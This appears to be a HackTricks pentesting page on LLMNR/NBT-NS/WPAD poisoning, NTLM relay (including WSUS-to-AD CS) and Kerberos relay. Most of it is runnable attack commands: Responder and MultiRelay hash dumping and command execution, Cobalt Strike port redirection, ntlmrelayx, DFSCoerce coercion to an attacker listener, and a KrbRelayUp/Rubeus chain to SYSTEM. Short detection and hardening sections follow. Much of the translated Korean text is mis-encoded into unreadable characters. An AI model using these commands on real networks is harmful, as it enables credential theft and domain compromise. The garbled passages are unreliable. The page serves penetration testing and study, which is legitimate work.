Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft ๋ฐ ๊ธฐํƒ€ ์šด์˜์ฒด์ œ๋Š” DNS๊ฐ€ ์‹คํŒจํ•  ๋•Œ ๋กœ์ปฌ ์ด๋ฆ„ ํ™•์ธ์„ ์œ„ํ•ด LLMNR ๋ฐ NBT-NS๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์œ ์‚ฌํ•˜๊ฒŒ, Apple ๋ฐ Linux ์‹œ์Šคํ…œ์€ mDNS๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ์ด๋Ÿฌํ•œ ํ”„๋กœํ† ์ฝœ์€ UDP๋ฅผ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ํŠน์„ฑ ๋•Œ๋ฌธ์— ๊ฐ€๋กœ์ฑ„๊ธฐ ๋ฐ ์Šคํ‘ธํ•‘์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.
  • Responder ๋ฐ Dementor๋Š” ํ•ด๋‹น ํ”„๋กœํ† ์ฝœ์„ ์งˆ์˜ํ•˜๋Š” ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด ์œ„์กฐ ์‘๋‹ต์„ ๋ณด๋‚ด ์„œ๋น„์Šค ์‚ฌ์นญ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Responder๋ฅผ ์‚ฌ์šฉํ•œ ์„œ๋น„์Šค ์‚ฌ์นญ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๋Š” here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ”„๋ก์‹œ ์„ค์ •์„ ์ž๋™์œผ๋กœ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒ€์ƒ‰์€ DHCP, DNS๋ฅผ ํ†ตํ•ด ์ˆ˜ํ–‰๋˜๋ฉฐ DNS๊ฐ€ ์‹คํŒจํ•˜๋ฉด LLMNR ๋ฐ NBT-NS๋กœ ํด๋ฐฑ๋ฉ๋‹ˆ๋‹ค.
  • Responder๋Š” WPAD ๊ณต๊ฒฉ์„ ์ž๋™ํ™”ํ•˜์—ฌ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์•…์„ฑ WPAD ์„œ๋ฒ„๋กœ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Responder/Dementor for Protocol Poisoning

  • Responder๋Š” LLMNR, NBT-NS, mDNS ์งˆ์˜๋ฅผ ํฌ์ด์ฆˆ๋‹ํ•˜๋Š” ๋„๊ตฌ๋กœ, ์งˆ์˜ ์œ ํ˜•์— ๋”ฐ๋ผ ์„ ํƒ์ ์œผ๋กœ ์‘๋‹ตํ•˜๋ฉฐ ์ฃผ๋กœ SMB ์„œ๋น„์Šค๋ฅผ ํ‘œ์ ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

  • Kali Linux์— ๊ธฐ๋ณธ ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฉฐ /etc/responder/Responder.conf์—์„œ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Responder๋Š” ์บก์ฒ˜ํ•œ ํ•ด์‹œ๋ฅผ ํ™”๋ฉด์— ํ‘œ์‹œํ•˜๊ณ  /usr/share/responder/logs ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

  • IPv4 ๋ฐ IPv6์„ ๋ชจ๋‘ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

  • Windows์šฉ Responder ๋ฒ„์ „์€ here์—์„œ ์ด์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

  • Dementor๋Š” ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ํฌ์ด์ฆˆ๋‹ ์ฃผ์ œ๋ฅผ ํ™•์žฅํ•˜๋ฉฐ ์ถ”๊ฐ€๋กœ ์•…์„ฑ ์„œ๋น„์Šค ์ œ๊ณต์ž(์˜ˆ: CUPS RCE ์ง€์›)๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

  • ์ „์ฒด ๊ตฌ์กฐ๋Š” Responder์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ๋ณด๋‹ค ์„ธ๋ถ„ํ™”๋œ ๊ตฌ์„ฑ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. (๊ธฐ๋ณธ์€ ์—ฌ๊ธฐ: Dementor.toml)

  • Dementor์™€ Responder ๊ฐ„ ํ˜ธํ™˜์„ฑ์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Compatibility Matrix

  • ์†Œ๊ฐœ ๋ฐ ๋ฌธ์„œ๋Š” ์—ฌ๊ธฐ: Dementor - Docs

  • ํŠน์ • ํ”„๋กœํ† ์ฝœ์—์„œ Responder๋กœ ์ธํ•ด ๋ฐœ์ƒํ•œ ์บก์ฒ˜ ๋ฌธ์ œ๋ฅผ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค.

Running Responder

  • ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ Responder ์‹คํ–‰: responder -I <Interface>
  • ๋” ๊ณต๊ฒฉ์ ์ธ ํ”„๋กœ๋น™(๋ถ€์ž‘์šฉ ๊ฐ€๋Šฅ) ์‹คํ–‰: responder -I <Interface> -P -r -v
  • ํฌ๋ž˜ํ‚น์„ ์‰ฝ๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•œ NTLMv1 ์ฑŒ๋ฆฐ์ง€/์‘๋‹ต ์บก์ฒ˜ ๊ธฐ๋ฒ•: responder -I <Interface> --lm --disable-ess
  • WPAD ์‚ฌ์นญ ํ™œ์„ฑํ™”: responder -I <Interface> --wpad
  • NetBIOS ์š”์ฒญ์„ ๊ณต๊ฒฉ์ž IP๋กœ ํ•ด๊ฒฐํ•˜๊ณ  ์ธ์ฆ ํ”„๋ก์‹œ๋ฅผ ์„ค์ •: responder.py -I <interface> -Pv

Running Dementor

  • ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ ์‹คํ–‰: Dementor -I <interface>
  • ๋ถ„์„ ๋ชจ๋“œ์—์„œ ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ ์‹คํ–‰: Dementor -I <interface> -A
  • ์ž๋™ NTLM ์„ธ์…˜ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ(ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • ์‚ฌ์šฉ์ž ์ •์˜ ๊ตฌ์„ฑ์œผ๋กœ ํ˜„์žฌ ์„ธ์…˜ ์‹คํ–‰: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • DHCP ์‘๋‹ต์„ ์Šคํ‘ธํ•‘ํ•˜๋ฉด ํ”ผํ•ด์ž์˜ ๋ผ์šฐํŒ… ์ •๋ณด๋ฅผ ์˜๊ตฌ์ ์œผ๋กœ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์–ด ARP ํฌ์ด์ฆˆ๋‹๋ณด๋‹ค ์€๋ฐ€ํ•œ ๋Œ€์•ˆ์ด ๋ฉ๋‹ˆ๋‹ค.
  • ๋Œ€์ƒ ๋„คํŠธ์›Œํฌ ๊ตฌ์„ฑ์— ๋Œ€ํ•œ ์ •ํ™•ํ•œ ์ง€์‹์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ ์‹คํ–‰: ./Responder.py -I eth0 -Pdv
  • ์ด ๋ฐฉ๋ฒ•์€ NTLMv1/2 ํ•ด์‹œ๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ๋„คํŠธ์›Œํฌ ์ค‘๋‹จ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์‹ ์ค‘ํ•œ ์ฒ˜๋ฆฌ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Capturing Credentials with Responder/Dementor

  • Responder/Dementor๋Š” ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์นญํ•˜๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ ์‚ฌ์นญ๋œ ์„œ๋น„์Šค์— ์ธ์ฆ์„ ์‹œ๋„ํ•  ๋•Œ ์ž๊ฒฉ ์ฆ๋ช…(๋ณดํ†ต NTLMv2 Challenge/Response)์„ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.
  • NetNTLMv1๋กœ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•˜๊ฑฐ๋‚˜ ESS๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋” ์‰ฝ๊ฒŒ ํฌ๋ž˜ํ‚นํ•˜๋„๋ก ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Itโ€™s crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.

Inveigh

Inveigh๋Š” Windows ์‹œ์Šคํ…œ์„ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” penetration testers ๋ฐ red teamers์šฉ ๋„๊ตฌ๋กœ, Responder์™€ ์œ ์‚ฌํ•œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋ฉฐ ์Šคํ‘ธํ•‘ ๋ฐ ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” PowerShell ์Šคํฌ๋ฆฝํŠธ์—์„œ C# ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ๋ฐœ์ „ํ–ˆ์œผ๋ฉฐ ์ฃผ์š” ๋ฒ„์ „์œผ๋กœ๋Š” Inveigh ๋ฐ InveighZero๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ์ง€์นจ์€ wiki์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Inveigh can be operated through PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

๋˜๋Š” C# ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ์‹คํ–‰:

Inveigh.exe

NTLM Relay Attack

์ด ๊ณต๊ฒฉ์€ SMB ์ธ์ฆ ์„ธ์…˜์„ ์ด์šฉํ•ด ๋Œ€์ƒ ๋จธ์‹ ์— ์ ‘๊ทผํ•˜๋ฉฐ, ์„ฑ๊ณตํ•˜๋ฉด system shell์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์š” ์ „์ œ์กฐ๊ฑด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์ธ์ฆํ•˜๋Š” ์‚ฌ์šฉ์ž๋Š” relayed host์—์„œ Local Admin access๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • SMB signing์€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

445 Port Forwarding and Tunneling

์ง์ ‘ ๋„คํŠธ์›Œํฌ ์ง„์ž…์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ์ƒํ™ฉ์—์„œ๋Š” ํฌํŠธ 445 ํŠธ๋ž˜ํ”ฝ์„ ํฌ์›Œ๋”ฉํ•˜๊ณ  ํ„ฐ๋„๋งํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. PortBender ๊ฐ™์€ ๋„๊ตฌ๋Š” ํฌํŠธ 445 ํŠธ๋ž˜ํ”ฝ์„ ๋‹ค๋ฅธ ํฌํŠธ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋˜๋ฉฐ, driver loading์„ ์œ„ํ•ด local admin access๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack์šฉ ๊ธฐํƒ€ ๋„๊ตฌ

  • Metasploit: proxies, ๋กœ์ปฌ ๋ฐ ์›๊ฒฉ ํ˜ธ์ŠคํŠธ ์ •๋ณด๋ฅผ ์„ค์ •ํ•˜์—ฌ ์‚ฌ์šฉ.
  • smbrelayx: SMB ์„ธ์…˜์„ ์ค‘๊ณ„ํ•˜๊ณ  ๋ช…๋ น ์‹คํ–‰ ๋˜๋Š” ๋ฐฑ๋„์–ด ๋ฐฐํฌ๋ฅผ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” Python ์Šคํฌ๋ฆฝํŠธ.
  • MultiRelay: Responder ์Šค์œ„ํŠธ์˜ ๋„๊ตฌ๋กœ ํŠน์ • ์‚ฌ์šฉ์ž ๋˜๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž๋ฅผ ์ค‘๊ณ„ํ•˜๊ณ , ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ํ•ด์‹œ๋ฅผ ๋คํ”„ํ•จ.

๊ฐ ๋„๊ตฌ๋Š” ํ•„์š” ์‹œ SOCKS proxy๋ฅผ ํ†ตํ•ด ๋™์ž‘ํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์–ด, ๊ฐ„์ ‘์ ์ธ ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ ํ™˜๊ฒฝ์—์„œ๋„ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

MultiRelay ๋™์ž‘

MultiRelay๋Š” /usr/share/responder/tools ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์‹คํ–‰๋˜๋ฉฐ, ํŠน์ • IP๋‚˜ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ๋‹ค.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).

What to look for

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and โ€ฆ\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Unauthenticated
  • Scan for listeners: nmap -sSVC -Pn โ€“open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Authenticated
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH=โ€œHKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdateโ€ KEY=โ€œWUServerโ€ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp โ€“dport 8530 -j REDIRECT โ€“to-ports 8530 iptables -t nat -L PREROUTING โ€“line-numbers

  3. Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap:// -smb2support -socks โ€“keep-relaying โ€“http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py โ€“http-port 8530 -t http:///certsrv/certfnsh.asp โ€“adcs โ€“no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).

HTTPS constraint (8531)

  • Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake canโ€™t be harvested/relayed from WSUS HTTPS traffic.

Notes

  • WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
  • Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
  • Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).

Force NTLM Logins

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNsโ€™ service classes differ (e.g. CIFS/ โ†’ LDAP/) because the key that decrypts the ticket is the machineโ€™s NT hash, not the SPN string itself and the SPN string is not part of the signature.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

TokenPurposeRelay relevance
TGT / AS-REQ โ†” REPProves the user to the KDCuntouched
Service ticket / TGS-REQ โ†” REPBound to one SPN; encrypted with the SPN ownerโ€™s keyinterchangeable if SPNs share account
AP-REQClient sends TGS to the servicewhat we steal & replay
  • Tickets are encrypted with the password-derived key of the account that owns the SPN.
  • The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
  • Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for CIFS/HOST normally decrypts fine on LDAP/HOST.
    1. What must be true to relay Kerberos
  1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
  2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
  4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the serverโ€™s replay cache fires Event 4649.
  5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

  • 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 ๋ฆด๋ ˆ์ด ๋ฆฌ์Šค๋„ˆ ์‹œ์ž‘

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp๋Š” KrbRelay โ†’ LDAP โ†’ RBCD โ†’ Rubeus โ†’ SCM bypass๋ฅผ ํ•˜๋‚˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ํ†ตํ•ฉํ•ฉ๋‹ˆ๋‹ค.

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce๋Š” DC๊ฐ€ Kerberos CIFS/DC01 ํ‹ฐ์ผ“์„ ์šฐ๋ฆฌ์—๊ฒŒ ๋ณด๋‚ด๋„๋ก ๋งŒ๋“ญ๋‹ˆ๋‹ค.

  • 3.4 Relay the AP-REQ

KrbRelay๋Š” SMB์—์„œ GSS blob์„ ์ถ”์ถœํ•˜์—ฌ LDAP bind๋กœ ์žฌํฌ์žฅํ•œ ๋‹ค์Œ ldap://DC01๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹คโ€”์ธ์ฆ์ด ์„ฑ๊ณตํ•˜๋Š”๋ฐ ๊ทธ ์ด์œ ๋Š” ๋™์ผํ•œ ํ‚ค๋กœ ์ด๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

  • 3.5 Abuse LDAP โžœ RBCD โžœ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

์•Œ์•„๋‘˜ ๋งŒํ•œ ์ถ”๊ฐ€ ๊ฒฝ๋กœ

VectorTrickWhy it matters
AuthIP / IPSec์•…์„ฑ ์„œ๋ฒ„๊ฐ€ ์ž„์˜์˜ SPN์œผ๋กœ GSS-ID payload๋ฅผ ์ „์†กํ•˜๋ฉด; ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ง์ ‘ ๋‹น์‹ ์—๊ฒŒ AP-REQ๋ฅผ ์ƒ์„ฑ์„œ๋ธŒ๋„ท์„ ๋„˜์–ด์„œ๋„ ๋™์ž‘; ๊ธฐ๋ณธ์ ์œผ๋กœ machine creds ์‚ฌ์šฉ
DCOM / MSRPC์•…์„ฑ OXID resolver๊ฐ€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ž„์˜์˜ SPN๊ณผ ํฌํŠธ๋กœ ์ธ์ฆํ•˜๋„๋ก ๊ฐ•์ œ์ˆœ์ˆ˜ํ•œ ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน; ๋ฐฉํ™”๋ฒฝ ์šฐํšŒ
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsLDAP ์„œ๋ช… ๋ฐฉ์–ด ์šฐํšŒ
Shadow CredentialsmsDS-KeyCredentialLink๋ฅผ ๊ธฐ๋กํ•œ ๋‹ค์Œ ์กฐ์ž‘๋œ ํ‚ค ์Œ์œผ๋กœ PKINIT ์ˆ˜ํ–‰์ปดํ“จํ„ฐ ๊ณ„์ •์„ ์ถ”๊ฐ€ํ•  ํ•„์š” ์—†์Œ

๋ฌธ์ œ ํ•ด๊ฒฐ

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDํ‹ฐ์ผ“ ํ‚ค โ‰  ๋Œ€์ƒ ํ‚ค์ž˜๋ชป๋œ ํ˜ธ์ŠคํŠธ/SPN
KRB_AP_ERR_SKEW์‹œ๊ณ„ ์˜ค์ฐจ > 5๋ถ„์‹œ๊ฐ„ ๋™๊ธฐํ™” ๋˜๋Š” w32tm ์‚ฌ์šฉ
LDAP bind fails์„œ๋ช… ๊ฐ•์ œAD CS ๊ฒฝ๋กœ ์‚ฌ์šฉ ๋˜๋Š” ์„œ๋ช… ๋น„ํ™œ์„ฑํ™”
Event 4649 spam์„œ๋น„์Šค๊ฐ€ ์ค‘๋ณต Authenticator๋ฅผ ๊ด€์ฐฐํ•จ์›๋ณธ ํŒจํ‚ท ์ฐจ๋‹จ ๋˜๋Š” ๋ ˆ์ด์Šค

ํƒ์ง€

  • ๊ฐ™์€ ์†Œ์Šค์—์„œ ๋ช‡ ์ดˆ ๋‚ด์— CIFS/, HTTP/, LDAP/์— ๋Œ€ํ•œ Event 4769 ๊ธ‰์ฆ.
  • ์„œ๋น„์Šค์˜ Event 4649๋Š” ์žฌ์ƒ(replay) ๊ฐ์ง€๋จ์„ ๋‚˜ํƒ€๋ƒ„.
  • 127.0.0.1์—์„œ์˜ Kerberos ๋กœ๊ทธ์˜จ(๋กœ์ปฌ SCM์œผ๋กœ์˜ ๋ฆด๋ ˆ์ด)์€ ๋งค์šฐ ์˜์‹ฌ์Šค๋Ÿฌ์›€ โ€” KrbRelayUp ๋ฌธ์„œ์˜ Sigma ๋ฃฐ๋กœ ๋งคํ•‘.
  • msDS-AllowedToActOnBehalfOfOtherIdentity ๋˜๋Š” msDS-KeyCredentialLink ์†์„ฑ ๋ณ€๊ฒฝ ๊ฐ์‹œ.

๋ณด์•ˆ ๊ฐ•ํ™”

  1. ๋ชจ๋“  ์„œ๋ฒ„์—์„œ LDAP & SMB signing + EPA ๊ฐ•์ œ ์ ์šฉ.
  2. Split SPNs์œผ๋กœ HTTP๊ฐ€ CIFS/LDAP์™€ ๋™์ผํ•œ ๊ณ„์ •์— ์žˆ์ง€ ์•Š๋„๋ก ๋ถ„๋ฆฌ.
  3. coercion ๋ฒกํ„ฐ ํŒจ์น˜ (PetitPotam KB5005413, DFS, AuthIP).
  4. ์•…์„ฑ ์ปดํ“จํ„ฐ ๊ฐ€์ž…์„ ๋ง‰๊ธฐ ์œ„ํ•ด ms-DS-MachineAccountQuota = 0 ์„ค์ •.
  5. Event 4649 ๋ฐ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฃจํ”„๋ฐฑ Kerberos ๋กœ๊ทธ์˜จ์— ๋Œ€ํ•œ ๊ฒฝ๊ณ  ์„ค์ •.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ